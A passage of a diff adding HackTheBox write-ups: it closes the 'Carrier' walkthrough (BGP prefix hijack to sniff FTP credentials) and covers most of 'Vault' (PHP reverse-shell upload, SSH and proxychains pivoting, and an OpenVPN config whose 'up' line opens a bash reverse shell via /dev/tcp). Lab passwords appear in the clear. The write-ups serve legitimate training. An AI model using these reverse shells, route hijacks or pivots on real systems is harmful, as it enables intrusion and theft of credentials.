addr:10.78.10.1 Bcast:10.78.10.255 Mask:255.255.255.0 + inet6 addr: fe80::216:3eff:fe8a:f24f/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:839 errors:0 dropped:0 overruns:0 frame:0 + TX packets:864 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:56671 (56.6 KB) TX bytes:61001 (61.0 KB) + + eth2 Link encap:Ethernet HWaddr 00:16:3e:20:98:df + inet addr:10.78.11.1 Bcast:10.78.11.255 Mask:255.255.255.0 + inet6 addr: fe80::216:3eff:fe20:98df/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:893 errors:0 dropped:0 overruns:0 frame:0 + TX packets:817 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:60453 (60.4 KB) TX bytes:58606 (58.6 KB) + + lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:65536 Metric:1 + RX packets:192 errors:0 dropped:0 overruns:0 frame:0 + TX packets:192 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:15624 (15.6 KB) TX bytes:15624 (15.6 KB) + + + +Here we see quite a few interfaces on the box, now to know which route we need to go to, we have to go back on the Lyghtspeed website to look at a specific ticket : + +![](prg/34_011.png) + +According to ticket n°6 we have an "important ftp server" in the 10.120.15.0/24 network. Therefore all we need to do is a pingsweep on the ip addresses ranging from 10.120.15.1-254 + +_Single-threaded hipothermia solution:_ + + + for i in {1..254}; do ping -c 1 -W 1 10.120.15.$i >/dev/null && echo "10.120.15.$i is up, thanks hipotermia!";done + + +` _Multi-Threaded solution:_ + + + for i in {1..254};do ping -c 1 -W 1 10.120.15.$i >/dev/null && echo "10.120.15.$i is up!" & done | grep up + + + + root@r1:~# for i in {1..254};do ping -c 1 -W 1 10.120.15.$i >/dev/null && echo "10.120.15.$i is up!" & done | grep up + <.15.$i >/dev/null && echo "10.120.15.$i is up!" & done | grep up + 10.120.15.1 is up! + 10.120.15.10 is up! + + root@r1:~# which nc + which nc + /bin/nc + + +So based on the results we see that we have 2 hosts up in this subnet : .1 and .10 Now since we know that netcat is there on this machine, we can scan both the ips for open ports using netcat : + + + root@r1:~# nc -zv 10.120.15.1 2>&1 | grep succeeded + nc -zv 10.120.15.1 2>&1 | grep succeeded + + nc -zv 10.120.15.10 1-65535 2>&1 | grep succeeded + Connection to 10.120.15.10 21 port [tcp/ftp] succeeded! + Connection to 10.120.15.10 22 port [tcp/ssh] succeeded! + Connection to 10.120.15.10 53 port [tcp/domain] succeeded! + + +We didn't get any result for .1 but for .10 we know that there is a potential port ftp (21) but before we investigate it we take a look into /opt to take a look at the restore.sh bashscript: + + + root@r1:~# cd /opt + cd /opt + root@r1:/opt# ls + ls + restore.sh + root@r1:/opt# cat restore.sh + cat restore.sh + #!/bin/sh + systemctl stop quagga + killall vtysh + cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf + cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf + systemctl start quagga + + +Which is a script apparently used to work with BGP (Border Gateway Control) with quagga, therefore it look slike we have to do some BGP hijacking which is a MITM attack. We will do so using vty to interact with quagga: + + + root@r1:/opt# vtysh + vtysh + + Hello, this is Quagga (version 0.99.24.1). + Copyright 1996-2005 Kunihiro Ishiguro, et al. + + r1# show ip bgp + show ip bgp + BGP table version is 0, local router ID is 10.255.255.1 + Status codes: s suppressed, d damped, h history, * valid, > best, = multipath, + i internal, r RIB-failure, S Stale, R Removed + Origin codes: i - IGP, e - EGP, ? - incomplete + + Network Next Hop Metric LocPrf Weight Path + *> 10.78.10.0/24 0.0.0.0 0 32768 ? + *> 10.78.11.0/24 0.0.0.0 0 32768 ? + *> 10.99.64.0/24 0.0.0.0 0 32768 ? + * 10.100.10.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.11.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.12.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.13.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.14.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.15.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.16.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.17.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.18.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.19.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.20.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + *> 10.101.8.0/21 0.0.0.0 0 32768 i + *> 10.101.16.0/21 0.0.0.0 0 32768 i + *> 10.120.10.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.11.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.12.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.13.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.14.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.15.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.16.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.17.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.18.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.19.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.20.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + + Total number of prefixes 27 + r1# + + +Now from there you need to know a bit of router commands, especially the cisco comamnds since the syntax is almost identical, Here we see that the connections to 10.120.15.10 are transmitted through 10.78.11.2 because it is announcing the 10.120.15.0/24 network, so in order to intercept the traffic we will announce a more specific network (10.120.15.0/25) and our machine will be used as a gateway instead of the intended 10.120.15.0/24 one : + + + r1# conf t + conf t + r1(config)# ip route 10.120.15.0/25 10.78.11.2 + ip route 10.120.15.0/25 10.78.11.2 + r1(config)# router bgp 100 + router bgp 100 + r1(config-router)# network 10.120.15.0/25 + network 10.120.15.0/25 + r1(config-router)# end + end + r1# show ip bgp + + +Once configured correctly, we check the BGP routes to confirm that our specified network (10.120.15.0/25) has been successfully included, and from there we can assume our neighbors will recieve the information and our machine can then be usd as a gateway. + + + r1# show ip bgp + show ip bgp + BGP table version is 0, local router ID is 10.255.255.1 + Status codes: s suppressed, d damped, h history, * valid, > best, = multipath, + i internal, r RIB-failure, S Stale, R Removed + Origin codes: i - IGP, e - EGP, ? - incomplete + + Network Next Hop Metric LocPrf Weight Path + *> 10.78.10.0/24 0.0.0.0 0 32768 ? + *> 10.78.11.0/24 0.0.0.0 0 32768 ? + *> 10.99.64.0/24 0.0.0.0 0 32768 ? + * 10.100.10.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.11.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.12.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.13.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.14.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.15.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.16.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.17.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.18.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.19.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + * 10.100.20.0/24 10.78.11.2 0 300 200 i + *> 10.78.10.2 0 0 200 i + *> 10.101.8.0/21 0.0.0.0 0 32768 i + *> 10.101.16.0/21 0.0.0.0 0 32768 i + *> 10.120.10.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.11.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.12.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.13.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.14.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.15.0/24 10.78.11.2 0 0 300 i + * 10.78.10.2 0 200 300 i + *> 10.120.15.0/25 0.0.0.0 0 32768 i + + +Here you can see our specified network has been added, so we can run tcpdump to inspect the traffic that is going to the FTP server: + + + r1# exit + exit + root@r1:/opt# tcpdump -i any -w nihilist.pcap -n dst host 10.120.15.10 + tcpdump -i any -w nihilist.pcap -n dst host 10.120.15.10 + tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes + + +And after waiying a bit, we print out the contents of nihilist.pcap which reveals the credentials we need: + + + root@r1:~# tcpdump -r /opt/nihilist.pcap + + +root : BGPtelc0rout1ng which we can use to ssh into the host machine as the root user: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Carrier] + → ssh root@10.10.10.105 + The authenticity of host '10.10.10.105 (10.10.10.105)' can't be established. + ECDSA key fingerprint is SHA256:ocbg7qpaEpjQc5WGCnavYd2bgyXg7S8if8UaXgT1ztE. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.105' (ECDSA) to the list of known hosts. + root@10.10.10.105's password: + Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Sun Mar 22 12:29:09 UTC 2020 + + System load: 0.0 Users logged in: 0 + Usage of /: 40.8% of 19.56GB IP address for ens33: 10.10.10.105 + Memory usage: 35% IP address for lxdbr0: 10.99.64.1 + Swap usage: 0% IP address for lxdbr1: 10.120.15.10 + Processes: 233 + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 4 packages can be updated. + 0 updates are security updates. + + + Last login: Wed Sep 5 14:32:15 2018 + root@carrier:~# cat /root/root.txt + 28XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/34_graph.png) + diff --git a/Medium/35.md b/Medium/35.md new file mode 100644 index 0000000..bf77e07 --- /dev/null +++ b/Medium/35.md @@ -0,0 +1,886 @@ +# Vault Writeup + +![](img/35.png) + +## Introduction : + +Vault is a Medium linux box released back in November 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [0] nothing [ 10.10.14.24/23 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.109 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + Discovered open port 22/tcp on 10.10.10.109 + Discovered open port 80/tcp on 10.10.10.109 + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → nmap -sCV -p22,80 10.10.10.109 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-23 13:44 GMT + Nmap scan report for 10.10.10.109 + Host is up (0.040s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA) + | 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA) + |_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Site doesn't have a title (text/html; charset=UTF-8). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 19.11 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running HTTP so let's make wfuzz run to see what directories we can find: + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → curl http://10.10.10.109 + **Welcome to the Slowdaddy web interface** + + + + We specialise in providing financial orginisations with strong web and database solutions and we promise to keep your customers financial data safe. + + + + We are proud to announce our first client: Sparklays + (Sparklays.com still under construction) + + +The sparkley word from the homepage hints us to use wfuzz on that directory, so let's do so with the appropriate flags: + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → sudo wfuzz -w /usr/share/wordlists/dirb/common.txt -z list,-.php-.html --hc 404,403 http://10.10.10.109/sparklays/FUZZFUZ2Z + + Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + + ******************************************************** + * Wfuzz 2.4.5 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.109/sparklays/FUZZFUZ2Z + Total requests: 13842 + + =================================================================== + ID Response Lines Word Chars Payload + =================================================================== + + 000000857: 200 13 L 38 W 615 Ch "admin - .php" + 000000868: 200 13 L 38 W 615 Ch "admin.php" + 000003694: 301 9 L 28 W 323 Ch "design" + 000007040: 200 3 L 2 W 16 Ch "login - .php" + + Total time: 159.4110 + Processed Requests: 13842 + Filtered Requests: 13838 + Requests/sec.: 86.83213 + + + +From here we have an interesting folder : /sparklays/admin.php which is a login panel: + +![](prg/35_001.png) + +Looking at /design/design.html we have are redirected to an upload.php page: + +![](prg/35_002.png) + +page onto which we cannot upload our reverse shell.php but we can with the appropriate .php5 extension: + +![](prg/35_003.png) + +Now that we successfully uploaded it , we browse to it (/design/uploads/nihilist.php5) using curl: + +![](prg/35_004.png) + +And we get access to the machine as www-data ! + +![](prg/35_016.png) + + + www-data@ubuntu:/var/www/html/sparklays/design/uploads$ ls -lash /home + ls -lash /home + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Jul 17 2018 . + 4.0K drwxr-xr-x 24 root root 4.0K Jul 17 2018 .. + 4.0K drwxr-xr-x 19 alex alex 4.0K Nov 4 2018 alex + 4.0K drwxr-xr-x 18 dave dave 4.0K Sep 3 2018 dave + + +We seem to have 2 users on the box, but none of them seem to have the user.txt flag which hints us that we need to enumerate further and most probably guess that we'll have to do some pivoting. + + + www-data@ubuntu:/home$ ls + ls + alex + dave + + www-data@ubuntu:/home$ cd dave + cd dave + + www-data@ubuntu:/home/dave$ cd Desktop + cd Desktop + + www-data@ubuntu:/home/dave/Desktop$ ls -lash + ls -lash + total 20K + 4.0K drwxr-xr-x 2 dave dave 4.0K Sep 3 2018 . + 4.0K drwxr-xr-x 18 dave dave 4.0K Sep 3 2018 .. + 4.0K -rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers + 4.0K -rw-rw-r-- 1 alex alex 14 Jul 17 2018 key + 4.0K -rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh + + + +Those 3 files are interesting since they contain everything we need to login via ssh as the user dave: + + + www-data@ubuntu:/home/dave/Desktop$ cat Servers && cat key && cat ssh + cat Servers && cat key && cat ssh + DNS + Configurator - 192.168.122.4 + Firewall - 192.168.122.5 + The Vault - x + itscominghome + dave + Dav3therav3123 + + +` ![](prg/35_016.png) + +So we exit our reverse shell as www-data and ssh in as the user dave: + + + www-data@ubuntu:/home/dave/Desktop$ exit + exit + exit + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → ssh dave@10.10.10.109 + The authenticity of host '10.10.10.109 (10.10.10.109)' can't be established. + ECDSA key fingerprint is SHA256:w4kateZsSozxs2REnC6QaP2oADamX33bSckexGsinVc. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.109' (ECDSA) to the list of known hosts. + dave@10.10.10.109's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 222 packages can be updated. + 47 updates are security updates. + + Last login: Sun Sep 2 07:17:32 2018 from 192.168.1.11 + dave@ubuntu:~$ id + uid=1001(dave) gid=1001(dave) groups=1001(dave) + + +From there on we need to head into the /var/www/html/sparklays directory to see the sourcecode of the pages we interacted with so far. + + + dave@ubuntu:~$ cd /var/www/html/sparklays + dave@ubuntu:/var/www/html/sparklays$ ls + admin.php design login.php serversettings sparklays-local-admin-interface-0001.php + dave@ubuntu:/var/www/html/sparklays$ cat login.php + access denied + + + dave@ubuntu:/var/www/html/sparklays$ cat admin.php + + + + + + + ## Please Login + + + + + + username + + + + + Password + + Login + + + <****?php + $username =$_GET["username"]; + $domain = $_SERVER["SERVER_NAME"]; + $requri = $_SERVER['REQUEST_URI']; + if (($domain == "localhost") ) { + Header( "Welcome Dave" ); + header("location: sparklays-local-admin-interface-0001.php + "); + } + + else if (($username == "dave")) { + setcookie(sparklaysdatastorage.htb-unbreakable-cookie); + + } + + ?****> + +Now as we saw in the previous files in dave's home directory, we have more machines on the same network which we can ping : + + + dave@ubuntu:/var/www/html/sparklays$ ping 192.168.122.4 + PING 192.168.122.4 (192.168.122.4) 56(84) bytes of data. + 64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=1.32 ms + 64 bytes from 192.168.122.4: icmp_seq=2 ttl=64 time=0.591 ms + 64 bytes from 192.168.122.4: icmp_seq=3 ttl=64 time=0.509 ms + ^C + --- 192.168.122.4 ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2005ms + rtt min/avg/max/mdev = 0.509/0.807/1.321/0.364 ms + dave@ubuntu:/var/www/html/sparklays$ ping 192.168.122.5 + PING 192.168.122.5 (192.168.122.5) 56(84) bytes of data. + 64 bytes from 192.168.122.5: icmp_seq=1 ttl=64 time=1.03 ms + 64 bytes from 192.168.122.5: icmp_seq=2 ttl=64 time=0.570 ms + 64 bytes from 192.168.122.5: icmp_seq=3 ttl=64 time=0.481 ms + ^C + --- 192.168.122.5 ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2033ms + rtt min/avg/max/mdev = 0.481/0.695/1.034/0.242 ms + + +Both the IPs are still up. the IP .5 is supposed to be the Firewall, and .4 is supposed to be the DNS configurator according to the previous files we found. so since we have access to netcat on this machine we can scan these 2 hosts for opened ports : + + + dave@ubuntu:/var/www/html/sparklays$ nc -zv 192.168.122.4 1-65535 2>&1 | grep succeeded && \ + > nc -zv 192.168.122.5 1-65535 2>&1 | grep succeeded + Connection to 192.168.122.4 22 port [tcp/ssh] succeeded! + Connection to 192.168.122.4 80 port [tcp/http] succeeded! + + +So it looks like only 192.168.122.4 responded with 2 opened ports, we seem to have access to port 22 and 80. Now the problem here is, we do not have access to curl on the machine, so my initial thought was to make a ssh tunnel just like we did on [Hawk](29.html). But this case is different since this is not a specific port on the machine (127.0.0.1:port),in this case we need to be able to access an OTHER host through said tunnel: + +_Hawk SSH Tunnel:_ + + + The problem for Hawk was that we couldn't access a specific port remotely, but having SSH access to the target, we could create a SSH Tunnel in order to access that remote port from a local port. + + + +` ![](prg/35_005.png) + + + ssh -L 8080:127.0.0.1:8082 daniel@10.10.10.102 + + + +Now that **127.0.0.1** part of the SSH tunnel refers to the **target** , therefore we can specify an ip address that the target has access to instead of his own localhost (127.0.0.1) ip address: + +_Vault SSH Tunnel:_ + + + With this command, we should be able to redirect the host's (192.168.122.4) http port (80) our target (10.10.10.109) can access, to our local (127.0.0.1) port 8083. + + + +` ![](prg/35_006.png) + + + ssh -L 80:192.168.122.4:8083 dave@10.10.10.109 + + + +So to recapitulate : + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → ssh dave@10.10.10.109 + dave@10.10.10.109's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 222 packages can be updated. + 47 updates are security updates. + + Last login: Mon Mar 23 10:06:03 2020 from 10.10.14.24 + dave@ubuntu:~$ ping 192.168.122.4 + PING 192.168.122.4 (192.168.122.4) 56(84) bytes of data. + 64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=0.629 ms + 64 bytes from 192.168.122.4: icmp_seq=2 ttl=64 time=0.450 ms + 64 bytes from 192.168.122.4: icmp_seq=3 ttl=64 time=0.551 ms + ^C + --- 192.168.122.4 ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2027ms + rtt min/avg/max/mdev = 0.450/0.543/0.629/0.075 ms + dave@ubuntu:~$ nc -zv 192.168.122.4 80 + Connection to 192.168.122.4 80 port [tcp/http] succeeded! + dave@ubuntu:~$ exit + logout + Connection to 10.10.10.109 closed. + + +once we ssh'd in and found the port 80 on the remote host 192.168.122.4 that our target(10.10.10.109) could access, we made a ssh tunnel (use dave's password to log in : Dav3therav3123) to access that port: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → ssh -L 80:192.168.122.4:8083 dave@10.10.10.109 + dave@10.10.10.109's password: + bind [127.0.0.1]:80: Permission denied + channel_setup_fwd_listener_tcpip: cannot listen to port: 80 + Could not request local forwarding. + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 222 packages can be updated. + 47 updates are security updates. + + Last login: Mon Mar 23 10:08:02 2020 from 10.10.14.24 + dave@ubuntu:~$ + + +And from there we should be able to access it in our browser, but it's not that easy, because as you can see we need the cannot connect to the host we're targeting: + +![](prg/35_007.png) + +Therefore we'll go for [Hipothermia's](https://hipotermia.pw/htb/vault) awesome solution which consists in using proxychains to create a SOCKS5 connection to 192.168.122.4 in order to be able to achieve a port forwarding. This is done in 5 steps : + + + - ssh -fND 9999 (to have a background, dynamic port forwarding, ssh connection) + - echo 'socks5 127.0.0.1 9999' >> /etc/proxychains.conf (adding the socks5 proxy) + - curl http://192.168.122.4 && proxychains curl 192.168.122.4 (to verify it works) + - Foxyproxy new Configuration (socks5, 127.0.0.1, 9999) and then use it + - Browse to http://192.168.122.4:80 thanks to the socks5 port forwarding pivot + + +` ![](prg/35_011.png) ![](prg/35_008.png) + +Once we're all done we can access the webservice on 192.168.122.4 thanks to hipothermia's awesome socks5 configuration, although the DNS settings doesn't seem to get us anywhere so we check the VPN configuration and make wfuzz run in the background: + + + {Ø} nothing [ 10.10.14.24/23 ] [~] + → wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404,403 http://192.168.122.4/FUZZ + + + +This doesn't work because we do not have access to the 192.168.122.4 host on normal settings, you guessed it, we need to use the proxychains lol + + + [0] nothing [ 10.10.14.24/23 ] [~] + → proxychains wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404,403 http://192.168.122.4/FUZZ + + +` ![](prg/35_009.png) + +Our wfuzz scan picked up the notes webpage, which revealed to us the 123.ovpn and script.sh files so let's wget them: + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → proxychains wget 192.168.122.4/123.ovpn + ProxyChains-3.1 (http://proxychains.sf.net) + --2020-03-24 09:58:48-- http://192.168.122.4/123.ovpn + Connecting to 192.168.122.4:80... |S-chain|-<>-127.0.0.1:9999-<><>-192.168.122.4:80-<><>-OK + connected. + HTTP request sent, awaiting response... 200 OK + Length: 121 + Saving to: ‘123.ovpn’ + + 123.ovpn 100% 121 --.-KB/s in 0s + + 2020-03-24 09:58:48 (3.79 MB/s) - ‘123.ovpn’ saved [121/121] + + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → proxychains wget 192.168.122.4/script.sh + ProxyChains-3.1 (http://proxychains.sf.net) + --2020-03-24 09:58:55-- http://192.168.122.4/script.sh + Connecting to 192.168.122.4:80... |S-chain|-<>-127.0.0.1:9999-<><>-192.168.122.4:80-<><>-OK + connected. + HTTP request sent, awaiting response... 200 OK + Length: 35 [text/x-sh] + Saving to: ‘script.sh’ + + script.sh 100% 35 --.-KB/s in 0s + + 2020-03-24 09:58:55 (1.96 MB/s) - ‘script.sh’ saved [35/35] + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → ls + 123.ovpn nihilist.php nihilist.php5 script.sh + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → cat 123.ovpn + remote 192.168.122.1 + dev tun + nobind + script-security 2 + up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/2323 0>&1'"% + + {Ø} nothing [ 10.10.14.24/23 ] [~/_HTB/Vault] + → cat script.sh + #!/bin/bash + sudo openvpn 123.ovpn + + +Taking a look into 123.ovpn and script.sh we see that the script is about running the vpn connection with sudo privileges, which may be handy to get a shell as the administrator, and we see the 123.ovpn file sending a reverse shell connection to 192.168.122.1 on port 2323 which was the ip of the box we ssh'd into as dave as you can see: + + + [0] nothing [ 10.10.14.24/23 ] [~] + → ssh dave10.10.10.109 + + [0] nothing [ 10.10.14.24/23 ] [~] + → proxychains ssh dave@127.0.0.1 + ProxyChains-3.1 (http://proxychains.sf.net) + |S-chain|-<>-127.0.0.1:9999-<><>-127.0.0.1:22-<><>-OK + The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. + ECDSA key fingerprint is SHA256:w4kateZsSozxs2REnC6QaP2oADamX33bSckexGsinVc. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. + dave@127.0.0.1's password: + + +We can connect to 10.10.10.109 as usual, but we can also do it through our proxychains connection, we can connect to it on the localhost address which refers to 10.10.10.109 (use dave's password to log in : Dav3therav3123) : + + + dave@127.0.0.1's password: + Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 222 packages can be updated. + 47 updates are security updates. + + Last login: Mon Mar 23 10:34:24 2020 from 10.10.14.24 + + dave@ubuntu:~$ ifconfig | grep inet + inet addr:10.10.10.109 Bcast:10.10.10.255 Mask:255.255.255.0 + inet6 addr: dead:beef::250:56ff:feb9:a468/64 Scope:Global + inet6 addr: fe80::250:56ff:feb9:a468/64 Scope:Link + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0 + inet6 addr: fe80::fc54:ff:fe3a:3bd5/64 Scope:Link + inet6 addr: fe80::fc54:ff:fee1:7441/64 Scope:Link + inet6 addr: fe80::fc54:ff:fe17:ab49/64 Scope:Link + inet6 addr: fe80::fc54:ff:fec6:7066/64 Scope:Link + + + +And here we see that our address is 192.168.122.1 on the 10.10.10.109 host, which is quite handy since the 123.ovpn file we found earlier points at that address on port 2323. So let's run a netcat listener on 192.168.122.1 and trigger the 123.ovpn file from the vpnconfig.php page: + +![](prg/35_010.png) + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now you probably guessed it, we may be root on this box, but we do not have access to the root flag, we need to pivot yet again. + + + root@DNS:/var/www/html# cat /root/root.txt + cat /root/root.txt + cat: /root/root.txt: No such file or directory + + + +So we poke around dave's home directory and we find an interesting ssh file: + + + root@DNS:/var/www/html# cd /home + cd /home + root@DNS:/home# ls -lash + ls -lash + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Jul 17 2018 . + 4.0K drwxr-xr-x 22 root root 4.0K Jul 17 2018 .. + 4.0K drwxr-xr-x 4 alex alex 4.0K Jul 17 2018 alex + 4.0K drwxr-xr-x 5 dave dave 4.0K Sep 3 2018 dave + root@DNS:/home# cd dave + cd dave + root@DNS:/home/dave# ls -lash + ls -lash + total 48K + 4.0K drwxr-xr-x 5 dave dave 4.0K Sep 3 2018 . + 4.0K drwxr-xr-x 4 root root 4.0K Jul 17 2018 .. + 4.0K -rw------- 1 dave dave 49 Sep 3 2018 .Xauthority + 4.0K -rw------- 1 dave dave 5 Sep 3 2018 .bash_history + 4.0K -rw-r--r-- 1 dave dave 220 Jul 17 2018 .bash_logout + 4.0K -rw-r--r-- 1 dave dave 3.7K Jul 17 2018 .bashrc + 4.0K drwx------ 2 dave dave 4.0K Jul 17 2018 .cache + 4.0K drwx------ 2 dave dave 4.0K Jul 17 2018 .gnupg + 4.0K -rw-r--r-- 1 dave dave 655 Jul 17 2018 .profile + 4.0K drwx------ 2 dave dave 4.0K Jul 17 2018 .ssh + 0 -rw-r--r-- 1 dave dave 0 Jul 17 2018 .sudo_as_admin_successful + 4.0K -rw-r--r-- 1 root root 19 Jul 17 2018 ssh + 4.0K -rw-rw-r-- 1 dave dave 33 Sep 3 2018 user.txt + root@DNS:/home/dave# cat ssh + cat ssh + dave + dav3gerous567 + + +So we get dave's ssh credentials to the 192.168.122.4 host as you can see below : + + + dave/Dav3therav3123 (192.168.122.1) (also 